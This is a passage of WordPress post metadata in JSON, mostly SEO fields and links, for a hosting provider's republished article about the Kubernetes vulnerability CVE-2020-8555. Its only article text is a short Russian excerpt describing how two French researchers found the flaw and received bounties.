<a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.1.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.1.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"et_EE\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47 Kui asi pole ainult Kubernetes'e haavatavuses\u2026 | ProHoster","description":"M\u00e4rkus.","canonical_url":"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}